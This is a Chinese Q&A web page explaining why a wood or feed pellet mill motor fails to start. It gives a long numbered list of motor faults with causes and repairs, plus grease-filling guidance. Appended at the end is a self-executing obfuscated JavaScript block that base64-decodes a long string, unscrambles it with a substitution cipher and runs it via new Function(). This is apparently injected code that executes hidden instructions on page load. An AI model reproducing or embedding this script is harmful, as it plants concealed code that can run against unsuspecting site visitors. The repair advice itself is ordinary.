饲料颗粒机起动后不转动的原因

2025-03-28 01:12:10
推荐回答(1个)
回答1:

木屑颗粒机启动不起来的原因较多,如果是因为上次停机前没有用油料将磨具内的颗粒替换,可能
需要清理磨具后重新组装,值得注意的是每次停机前一定将制粒室内的物料吃尽才能停机,以免下次开机因为制粒室料多而影响开机。如果排除了这一因素就应该从
木屑颗粒机电机入手查找原因了济南冠贝机械始终给你技术支持。

1通电后电动机不能转动,但无异响,也无异味和冒烟。

原因

(1).电源未通(至少两相未通);

(2).熔丝熔断(至少两相熔断);

(3).控制设备接线错误;

(4).电机已经损坏。

处理方法

(1).检查电源回路开关,熔丝、接线盒处是否有断点,修复;

(2).检查熔丝型号、熔断原因,更换熔丝;

(3).检查电机,修复。

2通电后电动机不转,然后熔丝烧断。

原因

(1).缺一相电源,或定子线圈一相反接;

(2).定子绕组相间短路;

(3).定子绕组接地;

(4).定子绕组接线错误;

(5).熔丝截面过小;

(6).电源线短路或接地。

处理方法

(1).检查刀闸是否有一相未合好,或电源回路有一相断线;消除反接故障;(2).查处短路点,予以修复;

(3).消除接地;

(4).查出误接,予以更正;

(5).更换熔丝;

(6).消除接地点。

3通电后电动机不转,有嗡嗡声。

原因

(1).定子、转子绕组有断路(一相断线)或电源一相失电;

(2).绕组引出线始末端接错或绕组内部接反;

(3).电源回路接点松动,接触电阻大;

(4).电动机负载过大或转子卡住;

(5).电源电压过低;

(6).小型电动机装配太紧或轴承内油脂过硬,轴承卡住。

处理方法

(1).查明断点,予以修复;

(2).检查绕组极性;判定绕组首末端是否正确;

(3).紧固松动的接线螺栓,用万用表判定各接头是否假接,予以修复;

(4).减载或查出并消除机械故障;

(5).检查是否把规定的△接法误接为Y接法;是否由于电源导线过细使压降过大,予以纠正;

(6).重新装配使之灵活;更换合格油脂,修复轴承。

4电动机起动困难,带额定负载时,电动机转速低于额定转速较多。

原因

(1).电源电压过低;

(2).△接法误接为Y接法;

(3).笼形转子开焊或断裂;

(4).定子、转子局部线圈错接、接反;

(5).电机过载。

处理方法

(1).测量电源电压,设法改善;

(2).纠正接法;

(3).检查开焊和断点并修复;

(4).查出误接处,予以改正;

(5).减载。

5电动机空载电流不平衡,三相相差大。

原因

(1).绕组首尾端接错;

(2).电源电压不平衡;

(3).绕组有匝间短路、线圈反接等故障。

处理方法

(1)、检查并纠正;

(2)、测量电源电压,设法消除不平衡;

(3)、消除绕组故障。

6电动机空载电流平衡,但数值大。

原因

(1).电源电压过高;

(2).Y接电动机误接为△接;

(3).气隙过大或不均匀。

处理方法

(1).检查电源,设法恢复额定电压;

(2).改接为Y接;

(3).更换新转子或调整气隙。

7电动机运行时响声不正常,有异响。

原因

(1).转子与定子绝缘低或槽楔相擦;

(2).轴承磨损或油内有砂粒等异物;

(3).定子、转子铁心松动;

(4).轴承缺油;

(5).风道填塞或风扇擦风罩;

(6).定子、转子铁心相擦;

(7).电源电压过高或不平衡;

(8).定子绕组错接或短路。

处理方法

(1).修剪绝缘,削低槽楔;

(2).更换轴承或清洗轴承;

(3).检查定子、转子铁心;

(4).加油;

(5).清理风道,重新安装风罩;

(6).消除擦痕,必要时车小转子;

(7).检查并调整电源电压;

(8).消除定子绕组故障。

8运行中电动机振动较大。

原因

(1).由于磨损,轴承间隙过大;

(2).气隙不均匀;

(3).转子不平衡;

(4).转轴弯曲;

(5).铁心变形或松动;

(6).联轴器(皮带轮)中心未校正;

(7).风扇不平衡;

(8).机壳或基础强度不够;

(9).电动机地脚螺丝松动;

(10).笼形转子开焊、断路、绕组转子断路;

(11).定子绕组故障。

(12).轴瓦紧力小

处理方法

(1).检查轴承,必要时更换;

(2).调整气隙,使之均匀;

(3).校正转子动平衡;

(4).校直转轴;

(5).校正重叠铁心;

(6).重新校正,使之符合规定;

(7).检修风扇,校正平衡,纠正其几何外形;

(8).进行加固;

(9).紧固地脚螺栓;

(10).修复转子绕组;

(11).修复定子绕组。

(12).增大紧力

9轴承过热。

原因

(1).润滑脂过多或过少;

(2).油质不好含有杂质;

(3).轴承与轴颈或端盖配合不当;

(4).轴承盖内孔偏心,与轴相擦;

(5).电动机与负载间联轴器未校正,或皮带过紧;

(6).轴承间隙过大或过小;

(7).电动机轴弯曲。

处理方法

(1).按规定加润滑油脂(容积的三分之一至三分之二);

(2).更换为清洁的润滑油脂;

(3).过松可用粘结剂修复;

(4).修理轴承盖,消除擦点;

(5).重新装配;

(6).重新校正,调整皮带张力;

(7).更换新轴承;

(8).矫正电机轴或更换转子。

10电动机过热甚至冒烟。

原因

(1).电源电压过高,使铁心发热大大增加;

(2).电源电压过低,电动机又带额定负载运行,电流过大使绕组发热;

(3).定子、转子铁心相擦,电动机过载或频繁起动;

(4).笼形转子断条;

(5).电动机缺相,两相运行;

(6).环境温度高,电动机表面污垢多,或通风道堵塞;

(7).电动机风扇故障,通风不良;

(8).定子绕组故障(相间、匝间短路;定子绕组内部连接错误)。

处理方法

(1).降低电源电压(如调整供电变压器分接头),若是电机Y、△接法错误引起,则应改正接法。

(2).提高电源电压或换相供电导线;

(3).消除擦点(调整气隙或锉、车转子),减载,按规定次数控制起动;

(4).检查并消除转子绕组故障;

(5).恢复三相运行;

(6).清洗电动机,改善环境温度,采用降温措施;

(7).检查并修复风扇,必要时更换;

(8).检查定子绕组,消除故障

11.木屑颗粒机电机的润滑脂更换和重添数量要求

一般电动机为3#锂基润滑脂,充填数量为:

2极2800?2900转的,充填总容积的40?50%;

4极1400?1490转的,充填数量为总容积的70% 左右;

6极1000转以下的,充填80---90%,但是绝对不能加满。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();